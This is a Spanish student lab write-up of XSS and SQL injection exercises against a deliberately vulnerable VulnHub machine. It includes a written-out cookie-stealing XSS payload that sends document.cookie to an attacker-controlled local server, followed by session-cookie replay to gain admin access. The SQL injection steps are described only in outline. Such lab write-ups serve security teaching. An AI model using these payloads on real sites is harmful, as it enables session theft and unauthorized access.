Logo Studenta

Práctica_XSS_SQL_Inyection

¡Estudia con miles de materiales!

Vista previa del material en texto

Ataque cross site scripting (xss) 
En esta actividad llevaremos a cabo un ataque cross site scripting (xss) en el que un actor 
malintencionado logra inyectar un script malicioso en páginas o aplicaciones web. Para 
llevar a cabo este ejercicio, se utilizará la máquina virtua-vl “PENTESTER LAB: XSS 
AND MYSQL FILE” de vulnhub y el navegador FireFox. 
 
Paso 1. 
Comenzamos el ataque tratando de inyectar un script básico como 
<script>alert(‘xss’)</script> , en cada una de las entradas del formulario, con el objetivo de 
encontrar la entrada que permite ejecutarlo. La figura 1 muestra que en la entrada “Text”, se 
encuentra la vulnerabilidad. 
 
Figura 1: inyección de un script la entrada “Text” del formulario. 
 
Paso 2. 
Al realizar el submit, el script se ejecutará y mostrará el mensaje “xss” , tal como se 
representa en la figura 2. A través de este Script básico, podemos confirmar de manera 
concluyente que esta aplicación web es vulnerable. 
 
Figura 2: ejecución del script inyectado. 
 
Paso 3 
 
La máquina virtual alberga un script que actúa como un usuario administrador que inicia 
una sesión periódica. Como atacantes, nuestro objetivo es obtener la cookie de la sesión de 
este usuario mediante cross site scripting. Para lograrlo, emplearemos el siguiente script en 
la entrada “Text”, tal como se representa en la figura 3. Se debe sustituir la url por tu IP 
privada. 
 
<script>document.write('<img src="http:192.168.10.14:8585'+document.cookie+' 
"/>');</script> 
 
 
 
 
Figura 3: inyección de un script para obtener cookies en la entrada “Text” del 
formulario. 
 
 
Al realizar el submit, se ejecutará el primer blog que subimos al inyectar el script básico 
que mostraba un alert de JS, tal como se representa en la figura 4. En la figura 5, se muestra 
un icono de archivo desconocido debido a la subida de un blog de naturaleza desconocida. 
 
 
Figura 4: ejecución de un alert a causa del primer script básico inyectado anteriormente. 
 
 
Figura 5: Comentario de naturaleza desconocido al inyectar un script de cross site 
scripting. 
 
Paso 4. 
 
Usando python3, iniciamos un servidor http local en el puerto 8585 con el propósito de 
escuchar las solicitudes al mismo y, por lo tanto, recibir las cookies que se transmiten al 
servidor a través del protocolo http en el puerto especifico, tal como se representa en la 
figura 6. 
 
 
 
Figura 6: ejecutando el comando http.server para iniciar un servidor http. 
 
La figura 7 muestra como nuestro servidor local recibe la cookie de sesión del usuario 
administrador. 
 
 
 
Figura 7: servidor http local recibiendo la cookie de sesión del usuario administrador. 
 
 
 
 
Paso 5 
 
En el formulario “Login” mostrado en la figura 8, procederemos a realizar una inspección 
para ubicar la opción “Storage” en el menú de la herramienta “inspector” del navegador. En 
la sección “cookies” cambiamos el campo “Value” por la cookie de la sesión que 
robaremos, tal como se representa en la figura 9. 
 
Figura 8: formulario login para iniciar sesión como administrador. 
 
 
 
Figura 9: sección de cookies del inspector en el navegador Firefox. 
 
 
Por último, accedemos a la ruta de /admin, tal como se muestra en la figura 10. Como se 
muestra en la figura 11, se representa el formulario de “administrador de mi blog” al cual el 
navegador nos redirigirá debido a que habíamos obtenido una cookie de sesión del 
administrador. 
 
 
Figura 10: ruta de administrador. 
 
 
Figura 11: Formulario de administración del Blog. 
 
 
 
Inyeección SQL en Mysql 
En esta actividad, llevaremos a cabo una inyección de SQL, el cual tiene como objetivo 
explotar la vulnerabilidad que permite la inyección de sentencias desde la URL con el fin 
de acceder y capturar información de una base de datos. 
 
En la figura 12 se representa el formulario que, como actores maliciosos debemos 
inyectarle sql. 
 
 
Figura 12: formulario para atacar. 
 
 
 
 
 
 
 
 
 
En la barra de navegación de Firefox, ejecutaremos la sentencia “order by” para determinar 
el número de campos que tiene la tabla actual, tal como se representa en la figura 13. 
 
 
Figura 13: ejecutando order by de 4 columnas en la navegación. 
 
Figura 13: sentencia order by para hallar el número de columnas que tiene una tabla. 
 
 
Ejecutaremos la sentencia que se ve en la figura 14 para visualizar las tablas que forman 
parte del esquema de la base de datos. Se puede observar que existe varias tablas, pero 
nuestro objetivo es la tabla “users”. 
 
 
 
Figura 14: sentencia UNION para visualizar las tablas del esquema de la base de datos. 
 
Ejecutaremos la sentencia que se muestra en la figura 15 para visualizar los campos de la 
tabla “users”. 
 
 
 
 
Figura 15: sentencia UNION para visualizar los campos de la tabla “users”. 
 
Por último, ejecutamos la última sentencia que se muestra en la figura 15 para visualizar 
los nombres de usuario junto con sus contraseñas de la tabla “users”. 
 
 
 
 
Figura 15: sentencia UNION para visualizar los nombres de usuario junto con sus 
contraseñas. 
 
 
Finalmente, iniciamos sesión como administrador como se muestra en la figura 16. 
 
 
Figura 15: iniciando sesión como administrador.

Continuar navegando

Materiales relacionados